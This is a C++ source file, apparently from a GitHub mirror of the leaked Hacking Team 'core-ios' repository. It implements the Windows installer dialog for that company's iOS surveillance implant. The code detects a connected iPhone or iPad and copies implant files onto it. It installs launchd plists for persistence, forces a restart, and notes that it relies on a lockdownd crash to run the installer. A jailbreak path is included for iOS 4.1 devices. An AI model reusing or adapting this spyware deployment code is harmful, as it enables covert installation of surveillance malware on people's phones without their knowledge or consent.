hackedteam/core-ios

View on GitHub
ios-install-win32/install/installDlg.cpp

Summary

Maintainability
Test Coverage

// installDlg.cpp : implementation file
//
#include "stdafx.h"

#include <sys/types.h> 
#include <sys/stat.h>

#include "install.h"
#include "installDlg.h"
#include "afxdialogex.h"
#include "RcsIOSUsbSupport.h"
#include "Resource.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#endif

#define NO FALSE
#define NOT_INSTALL       0
#define TRY_NON_JBINSTALL 1
#define TRY_JBINSTALL     2
    
#define set_icon(y)         dlg->setDeviceImage(y)
#define view_print(x)        dlg->setMessage(x)
#define set_model()         {setModel();dlg->mInfoStatic.SetWindowTextA(gInfo);}
#define reset_model()       {resetModel();dlg->mInfoStatic.SetWindowTextA(gInfo);}
#define install_enabled(x) {CWnd *installButton = dlg->GetDlgItem(IDOK);\
                            installButton->EnableWindow(x);}
#define sleep Sleep

extern int installios1(char *iosfolder);
extern int installios2(char *iosfolder);
extern int installios3(char *iosfolder);

static BOOL gIsDeviceAttached = FALSE;
static char *gIosInstallationPath = NULL;
static int  gIsJailbreakable = TRY_JBINSTALL;
static char *gIosInstallationPathString = NULL;

static char *gIosInstallationDirectory = NULL;
static char *gModel = NULL;
static char *gVersion = NULL;

int     bIsDeviceConnected = 0;
char gInfo[256];

static CWinThread  *pDeviceThread  = NULL;
static CWinThread  *pInstallThread = NULL;

char *models[] = {"iPhone1,1",
                  "iPhone1,2",
                  "iPhone2,1",
                  "iPhone3,1",
                  "iPhone3,2",
                  "iPhone3,3",
                  "iPhone4,1",
                  "iPhone5,1",
                  "iPhone5,2",
                  "iPad1,1",
                  "iPad2,1",
                  "iPad2,2",
                  "iPad2,3",
                  "iPad2,4",
                  "iPad3,1",
                  "iPad3,2",
                  "iPad3,3",
                  "iPad3,4",
                  "iPad3,5",
                  "iPad3,6",
                  NULL};

char *models_name[] =  {"iPhone",
                        "iPhone 3G",
                        "iPhone 3GS",
                        "iPhone 4",
                        "iPhone 4",
                        "iPhone 4(cdma)",
                        "iPhone 4s",
                        "iPhone 5(gsm)",
                        "iPhone 5",
                        "iPad",
                        "iPad2(wi-fi)",
                        "iPad2(gsm)",
                        "iPad2(cdma)",
                        "iPad2(wi-fi)",
                        "iPad3(wi-fi)",
                        "iPad3(gsm)",
                        "iPad3",
                        "iPad4(wi-fi)",
                        "iPad4(gsm)",
                        "iPad4",
                        NULL};

void setModel()
{
  int i = 0;
  
  char *theModel = "Unknown device";
  
  char *_model = get_model();
  char *_version = get_version();
  
  if (_model == NULL)
   _model = "Unknown device";
  if (_version == NULL)
    _version = "Unknown version";
  
  while (models[i] != NULL)
  {
    if (strcmp(models[i], _model) == 0)
    {
      theModel = models_name[i];
      break;
    }
    i++;
  }
    
  gModel    = theModel;
  gVersion  = _version;

  sprintf_s(gInfo, 256, "Model: %s\nVersion: %s", theModel, gVersion);
}

void resetModel()
{
    sprintf_s(gInfo, 256, "%s", "");
}
// CAboutDlg dialog used for App About

char *get_file_buff(char *file_path, int *len)
{
    char *buffer = NULL;
    DWORD file_len = 0;
    DWORD num_bytes = 0;

    HANDLE hFile = 
    CreateFile(file_path,
                GENERIC_READ,
                0,
                NULL,
                OPEN_ALWAYS,
                FILE_ATTRIBUTE_NORMAL,
                NULL); 
    
    if (hFile == INVALID_HANDLE_VALUE)
        return buffer;

    file_len = GetFileSize(hFile, NULL);

    if (file_len == 0)
    {
        CloseHandle(hFile);
        return buffer;
    }
    buffer = (char *)calloc(file_len, 1);

    ReadFile(hFile, buffer, file_len, &num_bytes, 0);

    *len = file_len;

    CloseHandle(hFile);

    return buffer;
}

UINT install_files(char *lpath, char **dir_content)
{
    int i = 0;
    int ret = 0;

    while(dir_content[i] != NULL)
    {
        int file_len = 0;
        char file_path[MAX_PATH];
        
        sprintf_s(file_path, MAX_PATH, "%s\\%s", lpath, dir_content[i]);

        char *buffer = get_file_buff(file_path, &file_len);

        if (buffer != NULL)
        {
            int ret = copy_buffer_file(buffer, file_len, dir_content[i]);

            free(buffer);

            if (ret != 0)
                break;
        }

        i++;
    }

    return ret;
}


void startInstallation(LPVOID lp)
{
  // WIN32
  CinstallDlg *dlg = (CinstallDlg *)lp;
  // END

  int isDeviceOn = 0;
  int retInst = 0;
  
  view_print("start installation...");
    
  install_enabled(NO);

  if (gIsJailbreakable == TRY_NON_JBINSTALL)
  {
    // running jb tool for iphone3gs-4.1
    int ret = 0;
    
    view_print("Setup device for installation...");
    
    //ret = installios1(gIosInstallationPathString);
    
    if (ret == 0)
    {
      view_print("Setup failed!");
      return;
    }
    
    view_print("Preparing device for execute installation...");
    
    //ret = installios2(gIosInstallationPathString);
    
    if (ret == 0)
    {
      view_print("Preparation failed!");
      return;
    }
    
    view_print("Trying execute installation...");
    
    //ret = installios3(gIosInstallationPathString);
    
    if (ret == 0)
    {
      view_print("execution failed!");
      return;
    }
    
    goto check_point;
    
    return;
  }
  
  if (gIosInstallationPathString == NULL)
  {
    view_print("cannot found installation dir!");
    goto exit_point;
  }
  
  char **dir_content = list_dir_content(gIosInstallationPathString);
  
  if (dir_content == NULL)
  {
    view_print("cannot found installation component!");
    goto exit_point;
  }
  
  if (make_install_directory() != 0)
  {
    view_print("cannot create installation folder!");
    goto exit_point;
  }
  
  view_print("copy files...");

#ifdef WIN32

  if (install_files(gIosInstallationPathString, dir_content) != 0)
  {
    view_print("cannot copy files into installation folder!");
    goto exit_point;
  }

#else

  if (copy_install_files(gIosInstallationPathString, dir_content) != 0)
  {
    view_print("cannot copy files into installation folder!");
    goto exit_point;
  }
#endif

  view_print("copy files... done.");
  
  sleep(1);
  
  // Ok: using lockdownd crash for running installer...
  view_print("try to run installer...");
  
  if (lockd_run_installer() == 1)
  {
    view_print("try to run installer... done.");
    retInst = 1;
    goto exit_point;
  }
  
  // end.
  
  if (create_launchd_plist() != 0)
  {
    view_print("cannot create plist files!");
    goto exit_point;
  }
  
  view_print("try to restart device...");
  
  int retVal = restart_device();
  
  if (retVal == 1)
    view_print("try to restart device...restarting: please wait.");
  else
    view_print("can't restart device: try it manually!");
  
  sleep(3);
  
  // Wait for device off
  do
  {
    isDeviceOn = isDeviceAttached();
    
    sleep(1);
  
  } while(isDeviceOn == 1);
  
  set_icon(IDB_BITMAP_GRAYED);
  
  view_print("device disconnected. Please wait...");
  
  reset_model();

  // wait device on
  do
  {
    isDeviceOn = isDeviceAttached();
    
    sleep(1);
  
  } while(isDeviceOn == 0);
  
  view_print("device connected.");
 
  set_icon(IDB_BITMAP_CLEAR);

  set_model();

check_point:
  view_print("checking installation...");
  
  sleep(5);
  
  retInst = check_installation(10, 10);
  
  // On fail remove the install files e dir...
exit_point:
  
  remove_installation();
  
  if ( retInst == 1)
  {
    view_print("installation done.");
  }
  else
  {
    view_print("installation failed: please retry!");
  }
}


UINT install_run(LPVOID lp)
{    
  int i = 0;
  int retval = 0;

  if (bIsDeviceConnected == FALSE)
    return 0;
  
  CinstallDlg *dlg = (CinstallDlg *)lp;

  dlg->setMessage("start installation...");
  
  CWnd *installButton = dlg->GetDlgItem(IDOK);
  installButton->EnableWindow(FALSE);

  char **dir_content = list_dir_content(gIosInstallationDirectory);
  
  if (dir_content[0] == NULL)
  {
    dlg->setMessage("cannot found installation component!");
    goto exit_point;
  }
  
  if (make_install_directory() != 0)
  {
    dlg->setMessage("cannot create installation folder!");
    goto exit_point;
  }

  dlg->setMessage("copy files...");

  if (install_files(gIosInstallationDirectory, dir_content) != 0)
  {
    dlg->setMessage("cannot copy files into installation folder!");
    goto exit_point;
  }

  dlg->setMessage("copy files... done.");

  if (create_launchd_plist() != 0)
  {
   dlg->setMessage("cannot create plist files!");
   goto exit_point;
  }

  dlg->setMessage("try to restart device...");

  if (restart_device() == 1)
  {
    dlg->setDeviceImage(IDB_BITMAP_GRAYED);
    dlg->setMessage("try to restart device...restarting: please wait.");
    //dlg->setInfo("no device connected");
  }
  else 
  {
    dlg->setMessage("can't restart device: try it manually!");
  }

  Sleep(1);

  int isDeviceOn = 0;

  // Wait for device off
  do
  {
    isDeviceOn = isDeviceAttached();
    
    Sleep(1);
  
  } while(isDeviceOn == 1);
  
  dlg->setDeviceImage(IDB_BITMAP_GRAYED);
  dlg->setMessage("device disconnected. Please wait...");
  resetModel();
  dlg->setInfo(gInfo);

  // Wait for device on
  do
  {
    isDeviceOn = isDeviceAttached();
    
    Sleep(1);
  
  } while(isDeviceOn == 0);

  dlg->setMessage("device connected.");
  dlg->setDeviceImage(IDB_BITMAP_CLEAR);
  
  setModel();

  dlg->setInfo(gInfo);

  Sleep(10);

  dlg->setMessage("checking installation...");
  
  retval = check_installation(10, 10);

exit_point:

  remove_installation();

  if (retval == 1)
  {
    dlg->setMessage("installation done!");
  }
  else
  {
    dlg->setMessage("installation failed: please retry!");
  }
  
  return 0;
}

UINT install(LPVOID lp)
{
  startInstallation(lp); 
  return 0;
}

int checkInstallationMode()
{
  if (check_lockdownd_config() == TRUE)
  {
    return TRY_JBINSTALL;
  }
  else
  {
    if (strcmp(gModel,   "iPhone 3GS")  == 0 &&
        strcmp(gVersion, "4.1")            == 0)
      return TRY_NON_JBINSTALL;
  }
  
  return NOT_INSTALL;
}

UINT waitForDevice(LPVOID lp)
{ 
  // WIN32 
  CinstallDlg *dlg = (CinstallDlg *)lp;
  // END

  BOOL isAttached = (BOOL)isDeviceAttached();

  if (isAttached == TRUE)
  {        
    set_icon(IDB_BITMAP_CLEAR);
    
    set_model();
    
    view_print("check device...");
    
    gIsJailbreakable = checkInstallationMode();
    
    switch (gIsJailbreakable)
    {
      case TRY_NON_JBINSTALL:
      {
        set_icon(IDB_BITMAP_CLEAR);
        break;
      }
      case NOT_INSTALL:
      {
        view_print("cannot install device!");
        return 0;
      }
    }
    
    if (check_installation(1, 2) == 0)
    {
      view_print("check device... device is ready.");
      
      if (gIosInstallationPathString != NULL)
      {
        install_enabled(TRUE);
      }
      gIsDeviceAttached = TRUE;
    }
    else
    {
      view_print("check device... installation detected!");
      // force remove of installation files (in case of manually reboot)
      remove_installation();
      gIsDeviceAttached = FALSE;
    }
  }
  else
  {
    view_print("cannot connect to device!");
  }

  return 0;
}

class CAboutDlg : public CDialogEx
{
public:
    CAboutDlg();

// Dialog Data
    enum { IDD = IDD_ABOUTBOX };

    protected:
    virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support

// Implementation
protected:
    DECLARE_MESSAGE_MAP()
};

CAboutDlg::CAboutDlg() : CDialogEx(CAboutDlg::IDD)
{
}

void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{
    CDialogEx::DoDataExchange(pDX);
}

BEGIN_MESSAGE_MAP(CAboutDlg, CDialogEx)
END_MESSAGE_MAP()


// CinstallDlg dialog
CinstallDlg::CinstallDlg(CWnd* pParent /*=NULL*/)
    : CDialogEx(CinstallDlg::IDD, pParent)
{
    m_hIcon = AfxGetApp()->LoadIcon(IDI_ICON1);
}

void CinstallDlg::DoDataExchange(CDataExchange* pDX)
{
    CDialogEx::DoDataExchange(pDX);
    DDX_Control(pDX, IDC_STATIC_INFO, mInfoStatic);
    DDX_Control(pDX, IDC_STATIC_MSG, mMessage);
    DDX_Control(pDX, IDC_STATIC_IMAGE, mDeviceImage);
}

BEGIN_MESSAGE_MAP(CinstallDlg, CDialogEx)
    ON_WM_SYSCOMMAND()
    ON_WM_PAINT()
    ON_WM_QUERYDRAGICON()
    ON_BN_CLICKED(IDCANCEL, &CinstallDlg::OnBnClickedCancel)
    ON_BN_CLICKED(IDOK, &CinstallDlg::OnBnClickedOk)
END_MESSAGE_MAP()


// CinstallDlg message handlers

BOOL CinstallDlg::OnInitDialog()
{
    CDialogEx::OnInitDialog();

    // Add "About..." menu item to system menu.

    // IDM_ABOUTBOX must be in the system command range.
    ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
    ASSERT(IDM_ABOUTBOX < 0xF000);

    CMenu* pSysMenu = GetSystemMenu(FALSE);
    if (pSysMenu != NULL)
    {
        BOOL bNameValid;
        CString strAboutMenu;
        bNameValid = strAboutMenu.LoadString(IDS_ABOUTBOX);
        ASSERT(bNameValid);
        if (!strAboutMenu.IsEmpty())
        {
            pSysMenu->AppendMenu(MF_SEPARATOR);
            pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
        }
    }

    // Set the icon for this dialog.  The framework does this automatically
    //  when the application's main window is not a dialog
    SetIcon(m_hIcon, TRUE);            // Set big icon
    SetIcon(m_hIcon, FALSE);        // Set small icon

    mDeviceBitmapGrayed.LoadBitmapA(IDB_BITMAP_GRAYED);
    mDeviceBitmapClear.LoadBitmapA(IDB_BITMAP_CLEAR);

    mMessage.SetWindowTextA("waiting...");

    Sleep(1);

    gIosInstallationPathString = getIosPath();
    
    if (gIosInstallationPathString == NULL)
        MessageBoxA("iOS installation directory not found", "install", MB_OK);

    pDeviceThread = AfxBeginThread(waitForDevice,this,THREAD_PRIORITY_NORMAL);
    
    return TRUE;
}

void CinstallDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
    if ((nID & 0xFFF0) == IDM_ABOUTBOX)
    {
        CAboutDlg dlgAbout;
        dlgAbout.DoModal();
    }
    else
    {
        CDialogEx::OnSysCommand(nID, lParam);
    }
}

// If you add a minimize button to your dialog, you will need the code below
//  to draw the icon.  For MFC applications using the document/view model,
//  this is automatically done for you by the framework.

void CinstallDlg::OnPaint()
{
    if (IsIconic())
    {
        CPaintDC dc(this); // device context for painting

        SendMessage(WM_ICONERASEBKGND, reinterpret_cast<WPARAM>(dc.GetSafeHdc()), 0);

        // Center icon in client rectangle
        int cxIcon = GetSystemMetrics(SM_CXICON);
        int cyIcon = GetSystemMetrics(SM_CYICON);
        CRect rect;
        GetClientRect(&rect);
        int x = (rect.Width() - cxIcon + 1) / 2;
        int y = (rect.Height() - cyIcon + 1) / 2;

        // Draw the icon
        dc.DrawIcon(x, y, m_hIcon);
    }
    else
    {
        CDialogEx::OnPaint();
    }
}

// The system calls this function to obtain the cursor to display while the user drags
//  the minimized window.
HCURSOR CinstallDlg::OnQueryDragIcon()
{
    return static_cast<HCURSOR>(m_hIcon);
}

void CinstallDlg::setDeviceImage(int idc)
{
    if (idc == IDB_BITMAP_CLEAR)
        mDeviceImage.SetBitmap(HBITMAP(mDeviceBitmapClear));
    else
        mDeviceImage.SetBitmap(HBITMAP(mDeviceBitmapGrayed));
}

void CinstallDlg::setMessage(char *msg)
{
    mMessage.SetWindowTextA(msg);
}

void CinstallDlg::setInfo(char *msg)
{
    mInfoStatic.SetWindowTextA(msg);
}

void CinstallDlg::OnBnClickedCancel()
{
    CDialogEx::OnCancel();

    if (pDeviceThread != NULL)
    {
      HANDLE hThread= pDeviceThread->m_hThread;
      DWORD nExitCode;
      BOOL fRet= ::GetExitCodeThread( hThread, &nExitCode );

      if ( fRet && nExitCode==STILL_ACTIVE ) { 
        TerminateThread( hThread, -1 ); 
     }
    }

    if (pInstallThread != NULL)
    {
      HANDLE hThread= pInstallThread->m_hThread;
      DWORD nExitCode;
      BOOL fRet= ::GetExitCodeThread( hThread, &nExitCode );

      if ( fRet && nExitCode==STILL_ACTIVE ) { 
        TerminateThread( hThread, -1 ); 
     }
    }
}

void CinstallDlg::OnBnClickedOk()
{
    pInstallThread = AfxBeginThread(install,this,THREAD_PRIORITY_NORMAL);
}

char* CinstallDlg::askForCoreDirectory()
{
  BROWSEINFO bi = { 0 };
  bi.lpszTitle = _T("Select a Directory");
  LPITEMIDLIST pidl = SHBrowseForFolder ( &bi );

  TCHAR path[MAX_PATH];

  if ( pidl != 0 )
  {     
    if ( SHGetPathFromIDList ( pidl, path ) )
    {
        printf ( "Selected Folder: %s\n", path );
    }

    // free memory used
    IMalloc * imalloc = 0;
    if ( SUCCEEDED( SHGetMalloc ( &imalloc )) )
    {
      imalloc->Free ( pidl );
      imalloc->Release ( );
    }
  }
  CString ret = path;

  char *tmpStr = (char*) malloc(MAX_PATH);

  sprintf_s(tmpStr, MAX_PATH,"%s", (char*)(LPCTSTR)ret);

  return tmpStr;
}

char * CinstallDlg::getIosPath()
{
  static char iosPath[MAX_PATH];
  char installPath[MAX_PATH];

  GetCurrentDirectory(MAX_PATH, iosPath);

  sprintf_s(iosPath, MAX_PATH, "%s\\..\\ios", iosPath);
  sprintf_s(installPath, MAX_PATH, "%s\\install.sh", iosPath);
  
  struct stat fs;
  
  memset(&fs, 0, sizeof(fs));

  int statRet = stat((const char *)installPath, &fs);

  if (statRet == 0 && fs.st_size != 0)
    return iosPath;
  
  int buttRet = MessageBoxA("iOS installation directory not found: please select one", "install", MB_OKCANCEL);

  if (buttRet == IDCANCEL)
      return NULL;

  char *_iosPath = askForCoreDirectory();

  if (_iosPath == NULL)
    return NULL;

  sprintf_s(installPath, MAX_PATH, "%s\\install.sh", _iosPath);
  
  memset(&fs, 0, sizeof(fs));

  statRet = stat((const char *)installPath, &fs);

  if (statRet == 0 && fs.st_size != 0)
  {
    sprintf_s(iosPath, MAX_PATH, "%s", _iosPath);
    return iosPath;
  }
  
  return NULL;
}